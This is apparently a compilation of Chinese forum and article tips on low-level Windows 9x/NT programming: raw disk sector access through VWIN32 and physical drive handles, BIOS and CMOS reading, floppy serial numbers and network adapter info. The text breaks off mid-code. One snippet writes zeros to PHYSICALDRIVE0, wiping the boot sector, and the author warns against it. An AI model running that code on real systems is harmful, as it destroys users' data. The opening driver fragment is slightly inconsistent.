VOID __cdecl SAMPLE_RequestHandler(IOP＊ pIop)

{

switch (pIop－>IOP_ior.IOR_func)

{

//检查驱动器介质是否存在

case IOR_MEDIA_CHECK_RESET:

//非移动式磁盘始终返回IORS_SUCCESS

pIor－>IOR_status = IORS_SUCCESS;

break;

//驱动器读操作

case IOR_READ:

……//读成功则返回IORS_SUCCESS

break;

//驱动器写操作

case IOR_WRITE:

……//写成功则返回IORS_SUCCESS

break;

default:

//处理不支持的命令

pIor－>IOR_status =

IORS_INVALID_COMMAND;

break;

}

}

－－ pIop－>IOP_callback_ptr;

pIop－>IOP_callback_ptr－>IOP_CB_address(pIop);

}

端口驱动程序的读写操作实际上是以扇区为单位进行的，并不涉及到单字节的读写。另外，

一个TSD（Type Specific Driver）可以对应多个端口驱动程序,一个端口驱动程序可以同时

支持多个物理设备，并且每一个物理设备拥有独立的DCB。实际上，目前流行的虚拟光驱软

件就是利用此原理，通过编写端口驱动程序实现在硬盘上虚拟光驱操作的。最后值得指出

的是：本文所涉及的文件系统技术还可以用来实现在FAT分区上扩展类似于NTFS中的磁盘

数据加密和磁盘容量分配控制等高级功能。


在9x下直接访问硬盘
在9x下直接访问硬盘

在Windows9X中，由于内存和进程的保护，直接使用INT将会引起GPFs。

在很多资料上都说要在windows中直接读写硬盘的方法只有使用VxD。这并

不是真的，事实上使用windows9x公开的API就可以直接对硬盘进行操作。

在microsoft programmer's guide to win95中，关于Device I/O Control

中就有说明如何使用VWIN32呼叫MSDOS系统服务（磁盘访问类）。

定义了一下5个控制码

VWIN32_DIOC_DOS_DRIVEINFO (6) INT 21h AX=730Xh，win95 osr2与以后

版本提供的FAT32文件系统的访问

VWIN32_DIOC_DOS_INT13 (4) BIOS INT13h

VWIN32_DIOC_DOS_INT25 (2) DOS INT25h

VWIN32_DIOC_DOS_INT26 (3) DOS INT26h

VWIN32_DIOC_DOS_IOCTL (1) DOS设备I/O，（int 21h,ax=4400h到4411h）

使用方法如下：

使用

CreateFile("\\.\vwin32",0,0,NULL,0,FILE_FLAG_DELETE_ON_CLOSE,NULL);

打开vwin32.vxd

根据调用的功能所用到的寄存器填充以下结构体：

typedef struct _DIOC_REGISTERS {

DWORD reg_EBX;

DWORD reg_EDX;

DWORD reg_ECX;

DWORD reg_EAX;

DWORD reg_EDI;

DWORD reg_ESI;

DWORD reg_Flags;

} DIOC_REGISTERS, *PDIOC_REGISTERS;

使用

DeviceIoControl(hDevice,CONTROL_CODE,&reg,sizeof(reg),&reg,sizeof(reg),

&dwBytesReturn,0);

调用MS-DOS的磁盘访问功能。

最后调用 CloseHandle(hDevice);

************************

//下面的两个文件就是在WIN32下访问INT 25和INT 26

//文件1

{=====================================================================}

{ Device I/O Unit for Delphi 2.0, for Windows95 13/Oct./'97 }

{ http://www.kobira.co.jp/sakura/windows.htm }

{ author Seiji-Yasuda seiji@kobira.co.jp }

{ }

{ You may use it freely at your own risk in any kind of environment. }

{ }

{=====================================================================}

unit dev_io;

interface

uses

Windows,SysUtils;

type

REGSTER = packed record

reg_ebx : DWORD;

reg_edx : DWORD;

reg_ecx : DWORD;

reg_eax : DWORD;

reg_edi : DWORD;

reg_esi : DWORD;

reg_cflag : DWORD;

end;

const

WIN95_IOCTL_DEV = '\.';

WIN32_DOS_IOCTL = 1;

WIN32_DOS_INT25 = 2;

WIN32_DOS_INT26 = 3;

function win95_ioctl( cmd:Integer; var regs: REGSTER ):boolean;

implementation

function win95_ioctl( cmd:Integer; var regs: REGSTER ):boolean;

var

hd:THandle; ret:DWORD; ans:Boolean;

begin

Result := False;

try

{Open WIN95_IOCTL_DEV}

hd := 0;

hd := CreateFile(WIN95_IOCTL_DEV,0,0,NIL,0,FILE_FLAG_DELETE_ON_CLOSE,0);

if hd = 0 then

exit;

{Device I/O Control}

ans := DeviceIoControl(hd,cmd,@regs,sizeof(regs),@regs,sizeof(regs),ret,NIL);

if not ans then

exit;

Result := True;

finally

{Close WIN95_IOCTL_DEV}

CloseHandle(hd);

end;

end;

end.

//文件2

{=====================================================================}

{ DOS Int25/26 Unit for Delphi 2.0, for Windows95 13/Oct./'97 }

{ http://www.kobira.co.jp/sakura/windows.htm }

{ author Seiji-Yasuda seiji@kobira.co.jp }

{ }

{ You may use it freely at your own risk in any kind of environment. }

{ }

{=====================================================================}

unit disk2526;

interface

uses

Windows, SysUtils, dev_io;

function DOS_IOErrToStr(ret:Integer):String;

function DOS_25h_DiskRead(Drive:Integer;Buffer:PChar;

StartSector,Count:Integer; var ret:Integer):Boolean;

function DOS_26h_DiskWrite(Drive:Integer;Buffer:PChar;

StartSector,Count:Integer; var ret:Integer):Boolean;

implementation

//==============================================================================

// DOS Function to string (I/O Request error)

//==============================================================================

function DOS_IOErrToStr(ret:Integer):String;

begin

case ret of

$00: Result := 'disk is write-protected';

$01: Result := 'bad disk unit';

$02: Result := 'drive is not ready';

$03: Result := 'invalid disk command';

$04: Result := 'CRC error';

$05: Result := 'invalid length (disk operation)';

$06: Result := 'seek error';

$07: Result := 'wrong disk';

$08: Result := 'sector not found';

$09: Result := 'out of paper';

$0a: Result := 'write fault';

$0b: Result := 'read fault';

$0c: Result := 'general fault';

$0f: Result := 'invalid disk change';

else

Result := 'unknown';

end;

end;

//==============================================================================

// DOS INT 25h Function

// ret : -1...ioctl function error. etc...I/O Request error code.

//==============================================================================

function DOS_25h_DiskRead(Drive:Integer;Buffer:PChar;

StartSector,Count:Integer; var ret:Integer):Boolean;

var

regs : REGSTER;

begin

regs.reg_EAX := DWORD(Drive); // AL: 0:A, 1:B..

regs.reg_EBX := DWORD(Buffer); // buffer

regs.reg_ECX := DWORD(Count); // read sector count.

regs.reg_EDX := DWORD(StartSector); // start sector

regs.reg_cflag := DWORD($00000001); // clear cflg.

if (not win95_ioctl(WIN32_DOS_INT25,regs)) then begin

Result := False;

ret := -1;

exit;

end;

if (regs.reg_cflag and $00000001) <> 0 then begin

Result := False;

ret := Integer(regs.reg_EAX and $0000000f);

exit;

end;

Result := True;

end;

//==============================================================================

// DOS INT 26H Function

// ret : -1...ioctl function error. etc...I/O Request error code.

//==============================================================================

function DOS_26h_DiskWrite(Drive:Integer;Buffer:PChar;

StartSector,Count:Integer; var ret:Integer):Boolean;

var

regs : REGSTER;

begin

regs.reg_EAX := DWORD(Drive); // AL: 0:A, 1:B..

regs.reg_EBX := DWORD(Buffer); // buffer

regs.reg_ECX := DWORD(Count); // write sector count.

regs.reg_EDX := DWORD(StartSector); // start sector

regs.reg_cflag := DWORD($00000001); // clear cflg.

if (not win95_ioctl(WIN32_DOS_INT26,regs)) then begin

Result := False;

ret := -1;

exit;

end;

if (regs.reg_cflag and $00000001) <> 0 then begin

Result := False;

ret := Integer(regs.reg_EAX and $0000000f);

exit;

end;

Result := True;

end;

end.


不同WINDOWS平台下磁盘逻辑扇区的直接读写
不同WINDOWS平台下磁盘逻辑扇区的直接读写 wx_zzm（原作）

关键字 VWIN32、中断、DeviceIoControl

不同WINDOWS平台下磁盘逻辑扇区的直接读写

关键字：VWIN32、中断、DeviceIoControl

一、概述

在DOS操作系统下，通过BIOS的INT13、DOS的INT25（绝对读）、INT26（绝对写）等功能调用实现对磁盘逻辑扇区或物理扇区的读写是很方便的，C语言中还有对应上述功能调用的函数：biosdisk、absread和abswrite等。但在WINDOWS操作系统下编写WIN32应用程序时却再也不能直接使用上述的中断调用或函数了。那么，在WINDOWS操作系统下能不能实现磁盘扇区的直接读写呢？如何实现磁盘扇区的读写呢？为了解决这些问题，笔者查阅了一些相关资料后发现，WINDOWS操作系统也提供了读写磁盘扇区的方法，只是在不同的版本中有着不同的方式和使用限制。最后，笔者编写了一个磁盘扇区直接读写类，不敢独专，特提供出来，希望能对大家有所帮助。

注：这里INT13表示INT 13H，其它类同。

二、一个读取软盘扇区的例子

WINDOWS操作系统对所有的存储设备实行了统一管理，而且为了安全起见，操作系统还不允许在WIN32应用程序（工作在Ring3级）中直接调用中断功能，如INT13、INT21、INT25、INT26等。但它同时也提供了一些服务来弥补这种缺憾，在WIN95/98中，VWIN32服务就是其中一种。VWIN32服务是通过一个VXD来实现的，它提供了设备IO功能，通过它，使用API函数DeviceIoControl便可以实现WIN32应用程序和磁盘设备驱动程序间的通信，从而实现对磁盘的存取。VWIN32提供的服务是一系列的控制命令字，它们实现诸如DOS操作系统下的INT13、INT25、INT26和INT21等功能调用。下面是它定义的一些控制命令字：

VWIN32_DIOC_DOS_IOCTL (1) 实现INT21 功能

VWIN32_DIOC_DOS_INT25 (2) 实现INT25 功能

VWIN32_DIOC_DOS_INT26 (3) 实现INT26 功能

VWIN32_DIOC_DOS_INT13 (4) 实现INT13 功能

VWIN32_DIOC_DOS_DRIVEINFO (6) 实现INT21 730x 功能

如果要对磁盘进行读写，只要使用DeviceIoControl执行相应命令即可，下面的例子用来读取软盘的一个扇区（使用INT13）：

第一步：打开VWIN32服务，HANDLE hDev=CreateFile("\\.\VWIN32",0,0,0,0,FILE_FLAG_DELETE_ON_CLOSE,NULL)；

第二步：填充中断所用到的相关寄存器。这里将寄存器放在一个结构中，结构定义如下（有关INT13使用的寄存器情况，请参阅相关资料）：

typedef struct INT13Regs{

PVOID buffer; // ebx 寄存器

BYTE Drive; // 磁盘号 dl

BYTE Head; //磁头号 dh

WORD EDX_High; // edx 寄存器

BYTE Sector; //起始扇区 cl

BYTE Track; //磁道号 ch

WORD ECX_High; //ecx 寄存器

BYTE Number; //要读写的扇取数 al

BYTE CMD; //命令：2--读,3--写,5--格式化 ah

WORD EAX_High; //eax 寄存器

DWORD EDI; // edi 寄存器

DWORD ESI; // esi

DWORD EFLAG; // flags

}INT13_REGISTERS;

unsigned char Buffer[512];//定义缓冲区，放置读取扇区数据

INT13_REGISTERS reg={0};//定义寄存器结构变量

reg.buffer =(void *)Buffer;

reg.Drive =0;//0-软盘A 1-软盘B 0x80-硬盘c

reg.Head =0;

reg.Track=0;

reg.Sector=1;

reg.Number=1;

reg.CMD=2; //读取

第三步：调用设备IO API函数DeviceIoControl执行4号命令（即VWIN32_DIOC_DOS_INT13）， BOOL b_ret=DeviceIoControl(hDev,4,&reg,sizeof(INT13_REGISTERS),&reg,sizeof(INT13_REGISTERS),&lpRet,0);

如果其返回值不等于零，调用成功，进一步处理....否则调用失败。

第四步：关闭服务，CloseHandle(hDev);

三、限制或局限

上面是使用INT13读取软盘扇区的完整步骤，在WIN95/98下它是可以工作的。那么，是否将上面的寄存器结构中的Drive置为0x80就可以读取逻辑硬盘C盘的扇区了呢？回答是否定的。INT13用来存取硬盘的功能在WINDOWS中被忽略了。另外，INT25、INT26虽然可以存取硬盘，但是它们不能工作在FAT32格式的硬盘上。下面的列表将详细列举与磁盘操作相关的中断调用的限制情况（不特殊说明，指的是在WIN95/98操作系统下）：

中断功能 限制及使用情况

INT13 不可以读写硬盘，仅支持软盘

INT25/INT26 不可以读/写FAT32硬盘，支持FAT12、FAT16

INT21(440DH-41H/61H) 不可用(文档资料中说支持FAT12、FAT16、FAT32，实际上没有实现)

INT21(7305H) 可以读写软盘、硬盘，支持FAT12、FAT16、FAT32，但要求WIN95OSR2及以后版本

值得一提的是上表中的INT21--7305H功能是专门提供用来支持FAT32的，并且用来替换INT25/INT26，对应的控制命令字是6（即VWIN32_DIOC_DOS_DRIVEINFO），它和INT13、INT25、INT26等中断功能的一个显著区别是：它不使用寄存器来传递参数（INT21--440DH-41H/61H类同），而是使用一个称为DISKIO的结构，寄存器EBX用来保存指向该结构的地址。DISKIO的定义如下：

typedef struct _DISKIO {

DWORD dwStartSector; // 要读写的起始扇区号

WORD wSectors; // 要读写的扇区数

DWORD dwBuffer; // 用来保存读/写数据的缓冲区

}DISKIO, * PDISKIO;

另外，在使用该功能时还需要特别设置一些寄存器，如ECX必须为-1，用ESI来表示读写。下面的例子是使用该功能来实现上面的例子功能，即读软盘A的一个扇区。首先定义一个新的寄存器结构供本例使用：

typedef struct _DIOC_REGISTERS{

DWORD EBX;

DWORD EDX;

DWORD ECX;

DWORD EAX;

DWORD EDI;

DWORD ESI;

DWORD Flags;

}DIOC_REGISTERS;

其实该结构和上面的INT13_REGISTERS是一样的，只不过INT13_REGISTERS将寄存器细分开了，可读性更强些。本例从步骤上说和上面的例子相同，只有寄存器设置一步在内容上有差异。

第一步：打开VWIN32服务。

第二步：设置寄存器。

DIOC_REGISTERS reg = {0};

DISKIO dio;

unsigned char Buffer[512];

//设置参数结构

dio.dwStartSector = 0;//注意：和上例不同，不是1，从0开始编号

dio.wSectors = 1;

dio.dwBuffer = (DWORD)Buffer;

//设置寄存器

reg.EAX = 0x7305; //功能上类似于INT25，绝对读

reg.EBX = (DWORD)&dio;//参数结构的地址

reg.ECX = -1;//必须是-1

reg.EDX = 1; //注意：和上例不同，驱动器编号变了，0--缺省 1--A、2--B、3--C

reg.ESI = 0; //ESI的bit0表示读写，0--读、1--写

在写状态时SI的bit1--bit12，bit15必须是0，bit13、bit14、bit15共同来表示所写数据的类型，具体见下表：

15 14 13 类型描述

0 0 0 其它或不知道.

0 0 1 FAT数据

0 1 0 目录数据

0 1 1 一般数据

1 x x 保留。bit15必须是0

第三步：调用API。BOOL b_ret=DeviceIoControl(hDev,6,&reg, sizeof(DIOC_REGISTERS),&reg,sizeof(DIOC_REGISTERS),&cb,0);

第四步：关闭服务。

可以发现，两种方法读到的数据完全一致。

四、WIN2000中的磁盘扇区读写

在WINNT和WIN2000中磁盘被看做一种标准设备，可以使用CreateFile象打开文件一样打开并存取。CreateFile支持两种方式的磁盘设备--逻辑磁盘（格式为"\.:"）和物理磁盘（格式为"\."，其中x为数字），例如打开A：盘进行读取操作，只要这样：

HANDLE hDev=CreateFile("\\.\A:",GENERIC_READ,FILE_SHARE_WRITE,0,OPEN_EXISTING,0,0);

如果得到的句柄有效，就可以使用ReadFile来读取了，

ReadFile(hDev,Buffer,512,&dwRet,0);

读取结束要关闭该句柄，

CloseHandle(hDev)；

这比WIN95/98下的磁盘扇区读取方便多了。

另外，上面的例子是操作逻辑磁盘的，它包括软驱、硬盘分区等；物理磁盘指的是实际的硬盘，它不关心该硬盘被分成几个区，硬盘的编号是从0开始的，"\."表示第一块硬盘，其它依此类推。大家可能马上会想起，利用这种机制可以对硬盘的分区表进行存取了。确实如此，此时便可以对硬盘的主引导扇区（独立存在的一个扇区，包含分区表信息，不同于磁盘分区的BOOT区）进行操作了。

unsigned char Buffer[512]={0};

HANDLE hDev=CreateFile("\\.\PHYSICALDRIVE0",GENERIC_WRITE,FILE_SHARE_WRITE,0,OPEN_EXISTING,0,0);

WriteFile(hDev,Buffer,512,&dwRet,0);

CloseHandle(hDev);

危险！！！千万别这么做！！！

五、一个自适应的磁盘读写类

由上面的例子可以看出，不同的操作系统下对磁盘扇区的读写有不同的方式，为了能够在各类操作系统下能够使用统一的方法读写磁盘扇区，特设计了一个通用类。该类的设计思想如下：首先编写各类操作系统下的磁盘扇区存取函数，然后通过GetVersionEx来判断操作系统，进而选取对应的函数来实现磁盘扇区的读写。由上面的分析可知，WINDOWS操作系统对INT13的支持是最差的，所以在这里只使用INT25、INT26、INT21--7305等中断调用来实现。类的定义如下：

class CDiskInfo{

public:

CDiskInfo();

~CDiskInfo();

private:

HANDLE hDev;

DWORD dwCurrentPlatform;

void GetPlatform(); //取得操作系统，并存入变量dwCurrentPlatform

BOOL Win2000_AccessSectors(WORD CMD,BYTE bDrive,DWORD dwStartSector,WORD wSectors,LPBYTE lpSectBuff);//用于WIN2000、WINNT等操作系统，

BOOL Int25_ReadSectors(BYTE bDrive,DWORD dwStartSector,WORD wSectors,LPBYTE lpSectBuff);

BOOL Int26_WriteSectors(BYTE bDrive,DWORD dwStartSector,WORD wSectors,LPBYTE lpSectBuff);//用于WIN95以前的操作系统

BOOL Int21_AccessSectors(WORD CMD,BYTE bDrive,DWORD dwStartSector,WORD wSectors,LPBYTE lpSectBuff);//7305功能实现，用于WIN95OSR2、WIN98等操作系统

public:

//对外统一提供Read和Write操作，类内部根据平台选用适合的函数调用

BOOL ReadSectors(BYTE bDrive,DWORD dwStartSector,WORD wSectors,LPBYTE lpSectBuff);

BOOL WriteSectors(BYTE bDrive,DWORD dwStartSector,WORD wSectors,LPBYTE lpSectBuff);

};

该类对外提供了两个接口，即ReadSectors和WriteSectors，其参数是一样的，分别是要读写的磁盘编号bDrive，要存取磁盘的开始扇区号dwStartSector，要读取的扇区数wSectors和读写扇区数据的缓冲区lpSectBuff。这里磁盘编号是从1开始的，即1代表A:，2代表B:，3代表C:，依此类推。扇区的编号从0开始。使用时也很简单，只要作如下声明即可：

BYTE Buffer[1024];

CDiskInfo A;

BOOL bRet=A.ReadSectors(1,0,2,Buffer);

详细情况见附带的类文件及测试程序。

六、补充说明

严格来说，在对磁盘进行读写时，应该遵循以下顺序：打开设备（WIN95/98下为VWIN32服务，WIN2000下为磁盘设备）、锁卷、验证卷的有效性、读/写、开锁卷、关闭设备。这里为了描述上的简洁，忽略了锁卷/开锁卷及验证有效性等操作。有兴趣的朋友可以自行添加。

另外，该类仅实现了逻辑驱动器的读写，要想实现诸如对物理硬盘的主引导扇区的读写，还需要其它技术，如thunk技术，即编写两个动态库，一个是WIN32动态库，一个是WIN16动态库（thunk技术只可以用动态库实现），其中WIN16动态库转到DPMI模式，调用INT13（或者扩展INT13）来实现物理磁盘扇区的读写。有关thunk技术请参阅相关文档资料。

所有的例子在WIN98、WIN2000操作系统、VC6集成环境下调试通过。


监测是否是虚拟光驱
监测是否是虚拟光驱，没有测试，：（

给你一个函数，（可以区分真实光驱和虚拟光驱）：

Function IsCDROM(Drv : Char):BOOLEAN;

Var

CDR : string;

cnt : byte;

Count,First : word;

begin

Result := false;

CDR := '';

asm

mov ax, 1500h

xor bx, bx

int $2f

les di, COUNT

mov es:[di], bx

les di, FIRST

mov es:[di], cx

end;

if Count > 0 then

for cnt := 0 to (Count-1) do

CDR := CDR + char(First + Byte('A') + cnt);

Result := (Pos(upcase(Drv),CDR) > 0);

end;


怎样设置软盘的Serial Number?
我已经知道使用 GetVolumeInformation函数可以获取硬盘/软盘的序列号

但如何设置在程序中设置软盘的序列号呢？是不是有相应的函数？

dwwang (1998-12-14 19:01:15)

没有函数可以直接写软盘S/N.

软盘的S/N在sector 0 的偏移量127-12a处,

是按照二进制反向存储的,即:如果

GetVolumeInformation读出的S/N是11B2-25D8,

实际存储是 0xD8,0x25,0xB2,0x11四个字节.

你可以用http://vcl.vclxx.com/DELPHI/D32FREE/DIO.ZIP

把sector0读出来,修改这四个字节,然后写回去.

读/写方法例子里都有.


网卡信息
在iphlpapi.dll里面有一个函数：GetAdaptersInfo()

好像是干这个用的。说明如下：

GetAdaptersInfo

The GetAdaptersInfo function retrieves adapter information for the local computer.

DWORD GetAdaptersInfo(

PIP_ADAPTER_INFO pAdapterInfo, // buffer to receive data

PULONG pOutBufLen // size of data returned

);

Parameters

pAdapterInfo

[out] Pointer to a buffer that, , receives a linked list of IP_ADAPTER_INFO structures.

pOutBufLen

[in] Pointer to a ULONG variable that specifies the size of the buffer pointed to by the pAdapterInfo parameter. If this size is insufficient to hold the adapter information, GetAdaptersInfo fills in this variable with the required size, and returns an error code of ERROR_BUFFER_OVERFLOW.

Return Values

If the function succeeds, the return value is ERROR_SUCCESS.

If the function fails, the return value is one of the following error codes.

Value Meaning

ERROR_BUFFER_OVERFLOW The buffer size indicated by the pOutBufLen parameter is too small to hold the adapter information. The pOutBufLen parameter points to the required size.

ERROR_INVALID_PARAMETER The pOutBufLen parameter is NULL, or the calling process does not have read/write access to the memory pointed to by pOutBufLen, or the calling process does not have write access to the memory pointed to by the pAdapterInfo parameter.

ERROR_NO_DATA No adapter information exists for the local computer.

ERROR_NOT_SUPPORTED GetAdaptersInfo is not supported by the operating system running on the local computer.

Other If the function fails, use FormatMessage to obtain the message string for the returned error.

Requirements

Windows NT/2000: Requires Windows 2000.

Windows 95/98: Requires Windows 98.

Header: Declared in Iphlpapi.h.//没有

Library: Use Iphlpapi.lib.//没有

IP_ADAPTER_INFO

The IP_ADAPTER_INFO structure contains information about a particular network adapter on the local computer.

typedef struct _IP_ADAPTER_INFO {

struct _IP_ADAPTER_INFO* Next;

DWORD ComboIndex;

char AdapterName[MAX_ADAPTER_NAME_LENGTH + 4];

char Description[MAX_ADAPTER_DESCRIPTION_LENGTH + 4];

UINT AddressLength;

BYTE Address[MAX_ADAPTER_ADDRESS_LENGTH];

DWORD Index;

UINT Type;

UINT DhcpEnabled;

PIP_ADDR_STRING CurrentIpAddress;

IP_ADDR_STRING IpAddressList;

IP_ADDR_STRING GatewayList;

IP_ADDR_STRING DhcpServer;

BOOL HaveWins;

IP_ADDR_STRING PrimaryWinsServer;

IP_ADDR_STRING SecondaryWinsServer;

time_t LeaseObtained;

time_t LeaseExpires;

} IP_ADAPTER_INFO, *PIP_ADAPTER_INFO;

Members

Next

Pointer to the next adapter in the linked list of adapters.

ComboIndex

This member is unused.

AdapterName[MAX_ADAPTER_NAME_LENGTH + 4]

Specifies the name of the adapter.

Description[MAX_ADAPTER_DESCRIPTION_LENGTH + 4]

Specifies a description for the adapter.

AddressLength

Specifies the length of the hardware address for the adapter.

Address[MAX_ADAPTER_ADDRESS_LENGTH]

Specifies the hardware address for the adapter. //这个是不是你想要的？

Index

Specifies the adapter index.

Type

Specifies the adapter type.

DhcpEnabled

Specifies whether dynamic host configuration protocol (DHCP) is enabled for this adapter.

CurrentIpAddress

Specifies the current IP address for this adapter.

IpAddressList

Specifies the list of IP addresses associated with this adapter.

GatewayList

Specifies the IP address of the default gateway for this adapter.

DhcpServer

Specifies the IP address of the DHCP server for this adapter.

HaveWins

Specifies whether this adapter uses Windows Internet Name Service (WINS).

PrimaryWinsServer

Specifies the IP address of the primary WINS server.

SecondaryWinsServer

Specifies the IP address of the secondary WINS server.

LeaseObtained

Specifies the time when the current DHCP lease was obtained.

LeaseExpires

Specifies the time when the current DHCP lease will expire.

Requirements

Windows NT/2000: Requires Windows 2000.

Windows 95/98: Requires Windows 98.

Header: Declared in Iptypes.h.


BIOS信息
在计算机的CMOS(Complementary Metal-Oxide Semiconductor)中存有计算机的配置信息，如时间、驱动器、内存等。由于不同的厂家出的BIOS，其中还有一些厂家自己的东西。但在一些基本信息上是一致的，除了提供一些通常的应用，如为操作系统、系统诊断软件等提供信息，现在也用在如共享软件的密码保护等地方。

存取控制

CMOS的数据存取的可以分两步，先向端口70H(H表示十六进制，下同)写入要操作数据的偏移量，然后在71H上读取数值或者向71H写入数值进行赋值。如读取当前时间的小时的值：

1. Out 70H <--- 4 , 小时的地址偏移量为4；

2. In 71H ----> 变量

为保证操作的地址正确，应在修改之前暂停中断，防止一些针对CMOS的中断修改70H中的地址值。

各存储量的地址

时间和日期

偏移量 对应内容

00H 当前时间的秒

01H 定时器秒

02H 当前时间的分钟

03H 定时器分钟

04H 当前时间的小时

05H 定时器小时

06H 星期几

07H 一个月的第几天

08H 一年的第几个月

09H 当前年份

系统参数

偏移量 对应内容

10H 软盘驱动器类型

第7-4位(bit)对应A驱，第3-0位(bit)对应B驱

相应位上的值：

000 ----- 无 001 ----- 360K 010 ----- 1.2M 011 ----- 720K 100 ----- 1.44M

101 ----- 2.88M

14H 设备类型

第7-6位表明了软磁盘驱动器的数量：

00 ----- 一个磁盘驱动器 01 ----- 两个磁盘驱动器

第5-4位表明显示器类型

00 ----- 未定义 01 ----- 彩色，40列 10 ----- 彩色，80列 11 ----- 单显

第3-2位，保留

第1位为1表示有协处理器

第0位为0表示安装了软磁盘驱动器

15H 基本内存(Base Memory)大小的低字节，单位为K

16H 基本内存(Base Memory)大小的高字节，单位为K

17H 扩展内存(Expanded Memory)大小的低字节，单位为K

18H 扩展内存(Expanded Memory)大小的高字节，单位为K

19H 第一个物理硬盘的扩展驱动器类型

1AH 第二个物理硬盘的扩展驱动器类型

- by David Reilly, 1995


Get Bios Info In Win9x
Award BIOS:

To get Bios Info ........... Just paste and run. the following code.

with Memo1.Lines do

begin

Add('Modal:'+^I+String(Pchar(Ptr($FE061))));

Add('CopyRight:'+^I+String(Pchar(Ptr($FE091))));

Add('Date:'+^I+String(Pchar(Ptr($FFFF5))));

Add('Additional Informacion (serial

etc..):'+^I+String(Pchar(Ptr($FEC71))));

end;

***************

//以下函数用以获得计算机BIOS系统信息。

function GetBios(value: integer): String;

// 1...Bios Type

// 2.. Bios Copyright

// 3.. Bios Date

// 4.. Bios Extended Info

// 5.. Bustype

// 6.. MachineType

begin

result:='(unavailable)';

case value of

1: result:=String(Pchar(Ptr($FE061)));

2: result:=String(Pchar(Ptr($FE091)));

3: result:=String(Pchar(Ptr($FFFF5)));

4: result:=String(Pchar(Ptr($FEC71)));

end;

end;


获取BIOS信息的一个单元
(*******************************************************************************

* *

* BIOS Help - read ROM BIOS on Windows 95/98/SE/ME/NT/2K/XP *

* *

* Copyright (C) 2001, Nico Bendlin (nico@bendlin.de) *

* *

* Compiler: Delphi 4.03/5.01/6.00 *

* Version: 1.03, 2001-09-02 *

* *

*******************************************************************************)

{ postum scriptum: sorry for the bad english, i wrote it in a hurry }

unit BiosHelp;

{$ALIGN ON}

{$MINENUMSIZE 4}

interface

uses

Windows;

type

PRomBiosDump = ^TRomBiosDump;

TRomBiosDump = array [$000F0000..$000FFFFF] of Byte;

type

TReadRomBiosMethod = (

rrbmAutomatic, { Autodetect OS type and use proper method }

rrbmGeneric, { Use 16-bit COM program to dump the BIOS }

rrbmMemory, { Read from memory (Win9x) }

rrbmPhysical { Read from physical memory object (WinNT) }

);

function ReadRomBios(var Dump: TRomBiosDump; Method: TReadRomBiosMethod;

Timeout: DWORD = INFINITE): Boolean;

function GetRomBiosBuffer(const Dump: TRomBiosDump; Address: Pointer;

var Buffer; BufferSize: Cardinal): Cardinal;

function GetRomBiosString(const Dump: TRomBiosDump; Address: Pointer): string;

function GetRomBiosLongLong(const Dump: TRomBiosDump; Address: Pointer): LONGLONG;

function GetRomBiosDWord(const Dump: TRomBiosDump; Address: Pointer): DWORD;

function GetRomBiosWord(const Dump: TRomBiosDump; Address: Pointer): Word;

function GetRomBiosByte(const Dump: TRomBiosDump; Address: Pointer): Byte;

implementation

{###############################################################################

# #

# GENERIC METHOD #

# #

# Create an temporary folder, save an 16bit COM program (RomDump.com) into it, #

# execute program redirected to an file (Rom.dmp, RomDump.com simply dumps the #

# memory range F000:0000-F000:FFFF to STDOUT), read dump file into the buffer, #

# and finally cleanup all temporary files and directories. #

# #

# (the function RomDumpCode is x86 specific, which i wrote to generate 16-bit #

# code with the help of the 23-bit Delphi compiler, never try to execute the #

# pseudo-code in your program! it will not work in 32-bit protected mode) #

# #

###############################################################################}

{ *INTERNAL* - Pseudo 16-bit code }

type

PRomDumpCodeInfo = ^TRomDumpCodeInfo;

TRomDumpCodeInfo = (rdciStart, rdciEnd, rdciSize);

function _RomDumpCode(Info: TRomDumpCodeInfo): Pointer;

var

CodeStart: Pointer;

CodeEnd: Pointer;

begin

asm

JMP @@End

{ *BEGIN* 16-bit code }

{ -- never use it in your program! -- }

{ COM which writes ROM-BIOS to StdOut }

@@Start:

{ Dump F000:0000-F000:FFFE }

XOR eDX, eDX // DS = 0xF000 ; Data segment

MOV DH, 0F0h

MOV DS, eDX

XOR eDX, eDX // DX = 0x0000 ; Data offset

XOR eCX, eCX // CX = 0xFFFF ; Data length

DEC eCX

XOR eBX, eBX // BX = 0x0001 ; STDOUT (file handle)

INC eBX

MOV AH, 40h // DosCall(0x40) ; INT21, DOS_WRITE_TO_HANDLE

INT 21h

JC @@Exit // On error exit ; AL = Error code

{ Dump F000:FFFF }

XOR eDX, eDX // DS = 0xF000 ; Data segment

MOV DH, 0F0h

MOV DS, eDX

XOR eDX, eDX // DX = 0xFFFF ; Data offset

DEC eDX

XOR eCX, eCX // CX = 0x0001 ; Data length

INC eCX

MOV eBX, eCX // BX = 0x0001 ; STDOUT (file handle)

MOV AH, 40h // DosCall(0x40) ; INT21, DOS_WRITE_TO_HANDLE

INT 21h

JC @@Exit // On error exit ; AL = Error code

MOV AL, 0 // no error ; AL = 0

@@Exit:

MOV AH, 4Ch // DosCall(0x4C) ; INT21, DOS_TERMINATE_EXE

INT 21h

@@End:

{ *END* 16-bit code }

MOV CodeStart, OFFSET @@Start

MOV CodeEnd, OFFSET @@End

end;

case Info of

rdciStart:

Result := CodeStart;

rdciEnd:

Result := CodeEnd;

rdciSize:

Result := Pointer(Cardinal(CodeEnd) - Cardinal(CodeStart));

else

Result := nil;

end;

end;

{ *INTERNAL* - Save 16-bit code to file }

function _RomDumpCodeToFile(const Filename: string): Boolean;

var

ComFile: THandle;

Size: Cardinal;

begin

Result := False;

ComFile := CreateFile(PChar(Filename), GENERIC_WRITE, FILE_SHARE_READ, nil,

CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);

if ComFile <> INVALID_HANDLE_VALUE then

try

Result := WriteFile(ComFile, _RomDumpCode(rdciStart)^,

Cardinal(_RomDumpCode(rdciSize)), Size, nil) and

(Size = Cardinal(_RomDumpCode(rdciSize)));

if not Result then

DeleteFile(PChar(Filename));

finally

CloseHandle(ComFile);

end;

end;

{ *INTERNAL* - Execute 16-bit code redirected to file }

function _RomDumpCodeExecute(const Com, Dmp: string; Timeout: DWORD): Boolean;

var

ComSpec: string;

si: TStartupInfo;

pi: TProcessInformation;

begin

Result := False;

SetLength(ComSpec, MAX_PATH);

SetLength(ComSpec,

GetEnvironmentVariable('ComSpec', PChar(@ComSpec[1]), MAX_PATH));

if Length(ComSpec) > 0 then

begin

FillChar(si, SizeOf(TStartupInfo), 0);

si.cb := SizeOf(TStartupInfo);

si.dwFlags := STARTF_USESHOWWINDOW;

si.wShowWindow := SW_HIDE;

